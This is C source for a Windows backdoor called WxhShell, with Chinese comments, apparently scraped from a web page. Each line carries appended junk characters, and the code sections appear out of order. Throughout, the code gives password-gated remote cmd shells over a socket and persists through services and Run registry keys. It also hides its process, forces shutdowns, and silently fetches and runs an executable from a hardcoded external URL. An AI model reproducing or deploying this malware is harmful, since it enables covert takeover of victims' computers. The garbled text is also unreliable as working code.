    send(wsh,msg_ws_err,strlen(msg_ws_err),0); V%pdXM5  
    else { )gNHD?4x  
    closesocket(wsh); V#W(c_g  
    ExitThread(0); TA=Ij,z~  
    } ,\5]n&T;r  
    break; Vkex&?>v$  
    } bw{%X  
  // 获取shell 7581G$@ym  
  case 's': { RIUJ20PfYQ  
    CmdShell(wsh); :yvUHx  
    closesocket(wsh); 5:f}bW*  
    ExitThread(0); 6^zuRY;  
    break; Dyp'a  
  } -aGv#!aIl  
  // 退出 FXFQ@q*}v  
  case 'x': { Dj>.)n  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); H BmjB=  
    CloseIt(wsh); AKM\1H3U  
    break; &adKKYN  
    } hHoc7  
  // 离开 #]I:}Q51  
  case 'q': { G%anot  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Y 3[<  
    closesocket(wsh); WJ\YKXG  
    WSACleanup(); 8 k+Ctk  
    exit(1); $cH'9W}3K  
    break; Tk/K7h^  
        } bt#=p 7 W  
  } >k^=+  
  } )zt*am;  
52*zX 3  
  // 提示信息 8(%iYs$  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); W"|89\p}  
} FFtj5e  
  } z@&_3 Gl  
R\yw9!ESd  
  return; ms3Ec`i9  
} &&[j/d}J  
q{c6DCc]\  
// shell模块句柄 \VPU)  
int CmdShell(SOCKET sock) +(r8SnRX  
{ \u,hS*v0  
STARTUPINFO si; uZId.+Rk  
ZeroMemory(&si,sizeof(si)); g}' "&Y  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; LP_ !g  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; RXgi>Hz  
PROCESS_INFORMATION ProcessInfo; *8"5mC ;"  
char cmdline[]="cmd"; @q5!3Nz  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); oHu0] XA  
  return 0; 2NsI3M4$8  
} (a`z:dz}  
Old5E&  
// 自身启动模式 M&@9B)|=  
int StartFromService(void) Abce]-E  
{ [ OMcSd|nf  
typedef struct 34]f[jJ|  
{ ZWmmFKFG.  
  DWORD ExitStatus; BWL~)Hx  
  DWORD PebBaseAddress; ?mRU9VY  
  DWORD AffinityMask; IcPIOCmOc  
  DWORD BasePriority; $9*Xfb/  
  ULONG UniqueProcessId; L3X>v3CZ5  
  ULONG InheritedFromUniqueProcessId; u&bo32fc  
}   PROCESS_BASIC_INFORMATION; 3,tKqR7g  
u-j$4\'  
PROCNTQSIP NtQueryInformationProcess; tb&{[|O^  
GC$Hp!H  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ;  V '^s5  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; .knRH^  
Y.F:1<FAtf  
  HANDLE             hProcess; sxnj`z  
  PROCESS_BASIC_INFORMATION pbi; Tp[ub(/;7  
Y4! v1  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); QS_" fsyN:  
  if(NULL == hInst ) return 0; X,x{!  
2}I1z_dq~  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); C/_W>H_   
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); h{J2CWJ  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); "z< =S  
OMO.-p  
  if (!NtQueryInformationProcess) return 0; Q?7U iTZ  
SMqJMirR  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); .0.Ha}{6b  
  if(!hProcess) return 0; |nz,srr~  
gjL>FOe8u  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; gjvKrg  
vlm&)DIt  
  CloseHandle(hProcess); "-A@>*g  
RjSVa.x  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); #<4h Y7/  
if(hProcess==NULL) return 0; *Yl9%x]3c  
"J%u !~  
HMODULE hMod; s+C&\$E  
char procName[255]; ^#lPXC Bg  
unsigned long cbNeeded; n/S1Hae`  
hUB _[#8#  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); =<iK3bPkU  
?o),F^ir  
  CloseHandle(hProcess); 0j7\.aaK  
:s$ rD  
if(strstr(procName,"services")) return 1; // 以服务启动 0z_e3H{P27  
uUwwR(R  
  return 0; // 注册表启动 /u*((AJ?Qv  
} ggJn oL  
O|?>rK  
// 主模块 ~F+{P4%`<  
int StartWxhshell(LPSTR lpCmdLine) wb.47S8  
{ !m' lOz  
  SOCKET wsl; t_x \&+W  
BOOL val=TRUE; )g9Zw_3  
  int port=0; [$;6LFs }  
  struct sockaddr_in door; pDCQ?VW  
p_) V@ 7  
  if(wscfg.ws_autoins) Install(); +VI2i~  
vv"_u=H  
port=atoi(lpCmdLine); #l+U(zH:JG  
,g 6w2y7 ]  
if(port<=0) port=wscfg.ws_port; /b@8#px  
GO+cCNMa"  
  WSADATA data; z6ArSLlZ  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; EUu"H` E+  
sZFjkfak  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   JN$v=Ox{  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); j0Kj>  
  door.sin_family = AF_INET; nRPy)L{  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); f,k'gM{K  
  door.sin_port = htons(port); & LwR9\sh  
pI,QkDJ0  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { TmoODG>@  
closesocket(wsl); ,L6d~>=41  
return 1; g"FG7E&  
} /3L1Un*  
 #dtYa  
  if(listen(wsl,2) == INVALID_SOCKET) { JC_Y#kN@z  
closesocket(wsl); tTLD6#  
return 1; ;Bat!K7W  
} C*,-lk0b@  
  Wxhshell(wsl); [ C,<Q  
  WSACleanup(); K;sH0*  
cuB~A8H#}  
return 0; fOdkzD,  
:0Rd )*k,v  
} B= jJ+R  
0;#%KC,  
// 以NT服务方式启动 SirjWYap  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) kBS;SDl)  
{ g>1yQ  
DWORD   status = 0; |-e*^|  
  DWORD   specificError = 0xfffffff; g G>1  
gah3d*d7  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 8 T):b2h  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; F@& R"-  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 'u@ )F`  
  serviceStatus.dwWin32ExitCode     = 0; (vB aem9  
  serviceStatus.dwServiceSpecificExitCode = 0; q?nXhUD  
  serviceStatus.dwCheckPoint       = 0; o )G'._  
  serviceStatus.dwWaitHint       = 0; kn^RS1m  
1y2D]h/'  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); J{ P<^<m_  
  if (hServiceStatusHandle==0) return; \3-XXq  
!\'7j-6  
status = GetLastError(); +?w 7Nm`  
  if (status!=NO_ERROR) &BY%<h0c  
{ h q6B pE  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; {Kx eH7S  
    serviceStatus.dwCheckPoint       = 0; w9rwuk  
    serviceStatus.dwWaitHint       = 0; O#7ONQfBO  
    serviceStatus.dwWin32ExitCode     = status; ' Ph  
    serviceStatus.dwServiceSpecificExitCode = specificError; 5bYU(]  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); GbFLu`Iu  
    return; : ^F+m QN  
  } n (7m  
gPSUxE `O.  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; =Mzg={)v  
  serviceStatus.dwCheckPoint       = 0; cv=nGFx6  
  serviceStatus.dwWaitHint       = 0; l"5$6h  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); s:'M[xI  
} ZR.1SA0x?O  
ng0IRJ:3  
// 处理NT服务事件,比如:启动、停止 w,bILv)  
VOID WINAPI NTServiceHandler(DWORD fdwControl) QM\v ruTB  
{ D>+&= 5{  
switch(fdwControl) iS&~oj_-%  
{ jV]'/X<  
case SERVICE_CONTROL_STOP: ZM K"3c9  
  serviceStatus.dwWin32ExitCode = 0; ^1s!OT Is  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; )G\23P  
  serviceStatus.dwCheckPoint   = 0; K{.s{;#  
  serviceStatus.dwWaitHint     = 0; 7F5 t&  
  { 3~z4#8=  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); L>5VnzSI  
  } g]EDL<b  
  return; lTY%,s  
case SERVICE_CONTROL_PAUSE: +c.A|!-  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; u/Fa+S  
  break; 6&M $S$y  
case SERVICE_CONTROL_CONTINUE: *:J#[ET,  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; xphw0Es  
  break; (# Z2  
case SERVICE_CONTROL_INTERROGATE: 7}OzTup  
  break; Fvf308[  
}; k_/hgO  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); IT! a)d  
} &I Iw>,,  
S+py \z%  
// 标准应用程序主函数 t j&+HC  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) :@jhe8'w  
{ SweaE Rl  
EAn}8#r'(8  
// 获取操作系统版本 >y mMQEX`  
OsIsNt=GetOsVer(); bN$`&fC0  
GetModuleFileName(NULL,ExeFile,MAX_PATH); )67_yHW  
`au(' xi<  
  // 从命令行安装 z`qBs  
  if(strpbrk(lpCmdLine,"iI")) Install(); >^LVj[.1  
D M(WYL{  
  // 下载执行文件 _P 0,UgZz  
if(wscfg.ws_downexe) { %y)5:]  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) et(/`  
  WinExec(wscfg.ws_filenam,SW_HIDE); -}`ES]  
} rUEoz|e4a  
^"7tfo8  
if(!OsIsNt) { TU&6\]yF_  
// 如果时win9x,隐藏进程并且设置为注册表启动 S8*VjG?T\  
HideProc(); ("0@_05OH  
StartWxhshell(lpCmdLine); o90SXa&l/  
} Qj5~ lX`W  
else }ddwL  
  if(StartFromService()) W6ZXb_X  
  // 以服务方式启动 [SgWUP*  
  StartServiceCtrlDispatcher(DispatchTable); #qXE[%  
else DnvJx!#R  
  // 普通方式启动 DE|r~TQ  
  StartWxhshell(lpCmdLine); aDFu!PLB{)  
@P#uH5U  
return 0; %ANo^~8  
} &f'\9lO  
O( G|fs  
V#.;OtF]  
+ 5H9mk  
=========================================== u +q}9  
8:;_MBt  
?jbE3fW  
*( YtO  
Yr@_X  
2ME"=! &5  
" 0JQy-hpF  
:_JZn`Cab  
#include <stdio.h> EbSH)aR  
#include <string.h> }c1Vu  
#include <windows.h> nkTH#WTfR  
#include <winsock2.h> 1{4d)z UB  
#include <winsvc.h> [Av#Z)R  
#include <urlmon.h> fN~kd m.  
Mnyg:y*=  
#pragma comment (lib, "Ws2_32.lib") biG=4?Xl  
#pragma comment (lib, "urlmon.lib") Tl5K'3  
sY+U$BYB>  
#define MAX_USER   100 // 最大客户端连接数 DrLNY"Zq  
#define BUF_SOCK   200 // sock buffer $T{,3;kt  
#define KEY_BUFF   255 // 输入 buffer .NcoST9a  
jIJVl \i]  
#define REBOOT     0   // 重启 r`XIn#o  
#define SHUTDOWN   1   // 关机 \s?OvqI:  
V2sWcV?  
#define DEF_PORT   5000 // 监听端口 !Rk1q&U5  
y ,isK  
#define REG_LEN     16   // 注册表键长度 _=E))Kp{z  
#define SVC_LEN     80   // NT服务名长度 (oX|lPD<b  
fx %Y(W#5  
// 从dll定义API 0#4_vg .  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ;l> xXSB7$  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 4*MjDb  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); _a@&$NEox  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); (rO_ Vfaa  
F>jPr8&  
// wxhshell配置信息 ~t[ #p:  
struct WSCFG { 0}Rxe  
  int ws_port;         // 监听端口 E]w1!Ah M  
  char ws_passstr[REG_LEN]; // 口令 'Wjuv9)/  
  int ws_autoins;       // 安装标记, 1=yes 0=no H `y.jSNi  
  char ws_regname[REG_LEN]; // 注册表键名 v1<gNb)`  
  char ws_svcname[REG_LEN]; // 服务名 `bu3S }m7  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 u8qL?Aj^  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 x%d+~U;$&  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 _H}y7  
int ws_downexe;       // 下载执行标记, 1=yes 0=no %])-+T  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 'ah|cMRn  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 H .)}|  
EQ`;=I3J9y  
}; kf\n  
Yao>F--?  
// default Wxhshell configuration '<~rV  
struct WSCFG wscfg={DEF_PORT, w]]`/`  
    "xuhuanlingzhe", d=V4,:=S  
    1, )~xL_yW_X  
    "Wxhshell", IF~i*  
    "Wxhshell", :0IxnK(r&  
            "WxhShell Service", _'<V<OjVM!  
    "Wrsky Windows CmdShell Service", g0Qg]F5D~  
    "Please Input Your Password: ", - {<`Z  
  1, kRs[H xI3  
  "http://www.wrsky.com/wxhshell.exe", ~r;da9  
  "Wxhshell.exe" 5MV4N[;  
    }; _d6mf4M]5  
}MP2)6  
// 消息定义模块 FP<RoA? W  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; KJWYG^zI  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 9+@"DuYc6  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; xal,j*  
char *msg_ws_ext="\n\rExit."; ov: h4  
char *msg_ws_end="\n\rQuit."; i@e.Uzn  
char *msg_ws_boot="\n\rReboot..."; /*p4(D_A  
char *msg_ws_poff="\n\rShutdown..."; d,[.=Jqv[  
char *msg_ws_down="\n\rSave to "; S+H#^WSt  
c\FyX\ i  
char *msg_ws_err="\n\rErr!"; 6G6Hg&B  
char *msg_ws_ok="\n\rOK!"; nL!h hseH  
RrKAgw  
char ExeFile[MAX_PATH]; hj64ES#x  
int nUser = 0; k| 0Fa}Z[  
HANDLE handles[MAX_USER]; cw.Uy(ks|$  
int OsIsNt; ?GqFtNz  
& tQHxiDX  
SERVICE_STATUS       serviceStatus; y?O{J!U  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 2+" =i/8  
.O @bX)  
// 函数声明 G}ElQD  
int Install(void); `%AFKmc^;  
int Uninstall(void); |57KTiiNLI  
int DownloadFile(char *sURL, SOCKET wsh); /{YUM~  
int Boot(int flag); >0)E\_ u  
void HideProc(void); @v_E' 9QG^  
int GetOsVer(void); w8:F^{  
int Wxhshell(SOCKET wsl); 5~k-c Ua  
void TalkWithClient(void *cs); :}x\&]uC#k  
int CmdShell(SOCKET sock); i,rP/A^q  
int StartFromService(void); Y<TlvB)w  
int StartWxhshell(LPSTR lpCmdLine); ONJW*!(  
X@Eq5s  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ,{ CgOz+Ul  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); VOwt2&mZ  
?2[=llS4  
// 数据结构和表定义 fOiLb.BW  
SERVICE_TABLE_ENTRY DispatchTable[] = T~8` {^  
{ AbUU#C7  
{wscfg.ws_svcname, NTServiceMain}, L]B]~Tw  
{NULL, NULL} z   
}; <y'B !d#  
/:"%m:-P  
// 自我安装 hor ok:{  
int Install(void) Djx9TBZ5  
{ OP |{R7uC  
  char svExeFile[MAX_PATH]; u~<>jAy  
  HKEY key; HP|,AmVLl  
  strcpy(svExeFile,ExeFile); =sRd5aMs  
qTC`[l  
// 如果是win9x系统,修改注册表设为自启动 .  hHt+  
if(!OsIsNt) { |[D~7|?  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {  ;Fcdjy  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 7}Z.g9<  
  RegCloseKey(key); QI~s~j  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { R*.XbkW~  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ~c ;7me.  
  RegCloseKey(key); @ :Q];rc  
  return 0; 9;dP7o  
    } (HLy;^#R  
  } !? ?Cxs'  
} lnbw-IE!  
else { :d/Z&LXD  
qA9*t  
// 如果是NT以上系统,安装为系统服务 5{ #9b^  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); &k\7fvF  
if (schSCManager!=0) z QoMHFL3  
{ Xfx(X4$9  
  SC_HANDLE schService = CreateService \|R`wFn^P  
  ( QC~B8]  
  schSCManager, SynxMUlA  
  wscfg.ws_svcname, l1jS2O(  
  wscfg.ws_svcdisp, W#e:rz8=  
  SERVICE_ALL_ACCESS, r&}fn"H!  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , l*_b)&CH  
  SERVICE_AUTO_START, IaE};8a8  
  SERVICE_ERROR_NORMAL, OW)8Z 60  
  svExeFile, aO "JT  
  NULL, gb@Rx  
  NULL, |F<U;xV$p  
  NULL, +x G](?  
  NULL, Ec_ G9&  
  NULL [HF)d#A  
  ); Z T8. r0  
  if (schService!=0) y>2v 9;Qp  
  { %'\D _W&  
  CloseServiceHandle(schService); pSQ3 SM  
  CloseServiceHandle(schSCManager); <WaiJy?  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); PZLWyp  
  strcat(svExeFile,wscfg.ws_svcname); ] 5P{*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { #.9Xkn9S  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); BxZ}YS:  
  RegCloseKey(key); 7`X"B*`~b  
  return 0; F xFK  
    } /qI80KVnN  
  } p: sn>Y  
  CloseServiceHandle(schSCManager); ;oh88,*'  
} Q C~~  
} @pytHN8( $  
1{o CMq/v  
return 1; -# <,i '  
} 1Od: I}@  
]*i>KR@G  
// 自我卸载 VmBLNM?  
int Uninstall(void) i=o>Bl@f  
{ HxZ4t  
  HKEY key; \_x)E]D  
2yq.<Wz<  
if(!OsIsNt) { ui9gt"qS`  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { +6gS]  
  RegDeleteValue(key,wscfg.ws_regname); b@1QE  
  RegCloseKey(key); EXa6"D  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { l*'8B)vN2  
  RegDeleteValue(key,wscfg.ws_regname); MLBZmM '  
  RegCloseKey(key); Z|8f7@k{|+  
  return 0; KN}[N+V>  
  } ]qVJ>  
} y H+CyL\  
} = 1}-]ctVn  
else { 9%zR ? u  
DVTzN(gO*~  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 9D<^)ShY  
if (schSCManager!=0) s\7|b:y&  
{ F,:F9r?l,H  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); zztW7MG2lQ  
  if (schService!=0) GrM~ %ng  
  { c |C12b[  
  if(DeleteService(schService)!=0) { gmLw.|-  
  CloseServiceHandle(schService); \Z+v\5nmO  
  CloseServiceHandle(schSCManager); n1sH`C[c  
  return 0; oR-_=U^  
  } ]|[xY8 5}  
  CloseServiceHandle(schService); |0qk  
  } saRB~[6I  
  CloseServiceHandle(schSCManager); "X]u fZ7  
} ;quGy3  
} 3ZZJYf=  
uxh4nyE  
return 1; ZgXh[UHQy  
} H}U&=w'  
%mcuYR'D}  
// 从指定url下载文件 G^2"\4R]p  
int DownloadFile(char *sURL, SOCKET wsh) xE6y9"}!h  
{ s?`)[K'-  
  HRESULT hr; er qm=)  
char seps[]= "/"; (nE$};c<b2  
char *token; wfZ 'T#1  
char *file; fA 3  
char myURL[MAX_PATH]; 10[~ki-1;  
char myFILE[MAX_PATH]; $C[YqZO  
a,j!B hu  
strcpy(myURL,sURL); uWfse19  
  token=strtok(myURL,seps); U| N`X54  
  while(token!=NULL) 6B+ @76wH  
  { a:;*"p[R  
    file=token; Y7{|EI+@  
  token=strtok(NULL,seps); vfy- ;R(  
  } oO UVU}H  
J,~)9Kh$  
GetCurrentDirectory(MAX_PATH,myFILE); 5#d(_  
strcat(myFILE, "\\"); Me`"@{r|#  
strcat(myFILE, file); *|=&MU*+  
  send(wsh,myFILE,strlen(myFILE),0); r?[mn^Bo5  
send(wsh,"...",3,0); tICxAp:  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); '[juPI(!  
  if(hr==S_OK) d3{Zhn@  
return 0; be764do  
else Eui;2P~  
return 1; 3p^WTQ>(  
d&ZwVF!  
} 4\$Ze0tv  
{(tE pr  
// 系统电源模块 $PTedJ}*Y  
int Boot(int flag) @DUdgPA  
{ )0GnTB;5Z  
  HANDLE hToken; O]PfQ  
  TOKEN_PRIVILEGES tkp; FF_$)%YUp  
XsR%_eT  
  if(OsIsNt) { +2?0]6EQ  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); jOuv\$  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Y3Qq'FN!I  
    tkp.PrivilegeCount = 1; 96PVn  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 1L9^N  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 4p-$5Fk8}  
if(flag==REBOOT) { W*s`1O>  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 4]+ ^K`  
  return 0; 6F(yH4  
} IIu3mXAw  
else { FVD}9ia  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 6?a(@<k_  
  return 0; (Dn-vY'  
} ag+ML1#)  
  } -e)bq: T  
  else { Y7jD:P  
if(flag==REBOOT) { (la   
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) txgGL'  
  return 0; DRzpV6s  
}  JA)gM  
else { [n}c}%  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) lZua"Ju  
  return 0; 3jn@ [ m  
} %-*vlNC)  
} *K98z ?  
5m bs0GL  
return 1; Eyn3Vv?v  
} ~::R+Lh(  
/9yiMmr5W  
// win9x进程隐藏模块 {&;b0'!Tf  
void HideProc(void) 'qP^MdoE%~  
{  HOD2/  
tFSdi. |G=  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); k}O|4*.BT  
  if ( hKernel != NULL ) #0P<#S^7  
  { ,yqzk.  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); g764wl  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); WR-C_1-pT  
    FreeLibrary(hKernel); FvNO*'xP  
  } $XI<s$P%(%  
PRLV1o1#  
return; ljis3{kn""  
} $Us@fJr  
kg61Dgu  
// 获取操作系统版本 ,G:4H%?  
int GetOsVer(void) Pz)QOrrG~  
{ M$?6 '  
  OSVERSIONINFO winfo; .J@[v  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); nn   
  GetVersionEx(&winfo); x2B"%3th0  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) X@Bpjg  
  return 1; -#o+x Jj  
  else m Zh VpIUO  
  return 0; xWwPrd  
} v-gT 3kJ  
e-')SB  
// 客户端句柄模块 'H'+6   
int Wxhshell(SOCKET wsl) h@~X*yLKh  
{ e>>G4g  
  SOCKET wsh; ICTtubjV"  
  struct sockaddr_in client; B5cyX*!?  
  DWORD myID; [s34N+vU  
0B4(t6o  
  while(nUser<MAX_USER) =c.q]/M  
{ <  t (Pw  
  int nSize=sizeof(client); ?|8Tgs@+  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); PVU"oz&T  
  if(wsh==INVALID_SOCKET) return 1; B0 I?  
Fa!)$eb7  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); MELGTP>  
if(handles[nUser]==0) pjCWg 4ya  
  closesocket(wsh); iy#OmI>j  
else YJ^ lM\/<  
  nUser++; h]MVFn{  
  } -5cH$]1\  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); }H#t( 9,U  
#rpqt{m l  
  return 0; :I'Ezxv|  
} -Wn.@bz6B  
'*XNgvX  
// 关闭 socket u/[]g+  
void CloseIt(SOCKET wsh) *D{/p/|[  
{ 0xxzhlKNL  
closesocket(wsh); tN{t-xUgk  
nUser--; @NNLzqqY  
ExitThread(0); >h[!gXL^  
} /kA19E4  
B R:  
// 客户端请求句柄 r^E]GDz  
void TalkWithClient(void *cs) 4 ufLP DH  
{ q-G|@6O  
(K6`nWk2  
  SOCKET wsh=(SOCKET)cs; @Y<tH,*  
  char pwd[SVC_LEN]; uT/B}`md  
  char cmd[KEY_BUFF]; f>5RAg  
char chr[1]; ZQkw}3*n  
int i,j; z;C=d(|nN  
.lBY"W&{  
  while (nUser < MAX_USER) { |3,V%>z  
|3s&Y`x-D  
if(wscfg.ws_passstr) { iW}l[g8sw!  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); J=X% xb  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); <VU4rk^=  
  //ZeroMemory(pwd,KEY_BUFF); NN 6KLbC(  
      i=0; :2pBv#\"qk  
  while(i<SVC_LEN) { o1WidJ"  
)h0E$*  
  // 设置超时 7Hl_[n|  
  fd_set FdRead; dT)KvqX  
  struct timeval TimeOut; 1mJ_I|98  
  FD_ZERO(&FdRead); n6-Ic',;  
  FD_SET(wsh,&FdRead); B#6pQp$  
  TimeOut.tv_sec=8; & fSc{/  
  TimeOut.tv_usec=0; MXF"F:-Kn  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); H~|%vjH  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ARdGh_yJ&  
FMd LkyK;  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); %p2x^air  
  pwd=chr[0]; x"8ey|@&,  
  if(chr[0]==0xd || chr[0]==0xa) { pfZ,t<bE2  
  pwd=0; 7vaN&%;E%  
  break; KKjxg7{K  
  } +z=%89GJ  
  i++; 7_40_kwJi  
    } n<:d%&^n  
vaRwh E:  
  // 如果是非法用户,关闭 socket dA} 72D?  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); MpA;cw]cI/  
} K@P`_yxN  
EotwUT|  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); e?| URW  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); T]6c9_  
V< vPFxC  
while(1) { aGe(vQPi9  
q[7d7i/r6  
  ZeroMemory(cmd,KEY_BUFF); e:J'&r& 1  
hO/5>Zv?  
      // 自动支持客户端 telnet标准   k&A7alw  
  j=0; nF<y7XkO  
  while(j<KEY_BUFF) { lW$&fuDHF  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); PDt<lJU+X  
  cmd[j]=chr[0]; )J+{oB[>b  
  if(chr[0]==0xa || chr[0]==0xd) { %A62xnX  
  cmd[j]=0; #<wpSs  
  break; BY*2yp}7  
  } rj,K`HD  
  j++; %XI"<Y\yL  
    } Wzqb>.   
`(,*IK a  
  // 下载文件 {@V3?pG?p  
  if(strstr(cmd,"http://")) { }xb_s  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); qo6LC>Qg  
  if(DownloadFile(cmd,wsh)) >&;>PZBPCO  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); l#b|@4:I  
  else +`*qlP;  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [vWkAJ'K  
  } bEBBwv  
  else { yQZ/ ,KX  
^m_^  
    switch(cmd[0]) { 6~ 7 ; o_>  
  {^cF(7p  
  // 帮助 vx!::V7s6  
  case '?': { WQ[}&kY~  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); wb6L? t  
    break; ahNX/3; y  
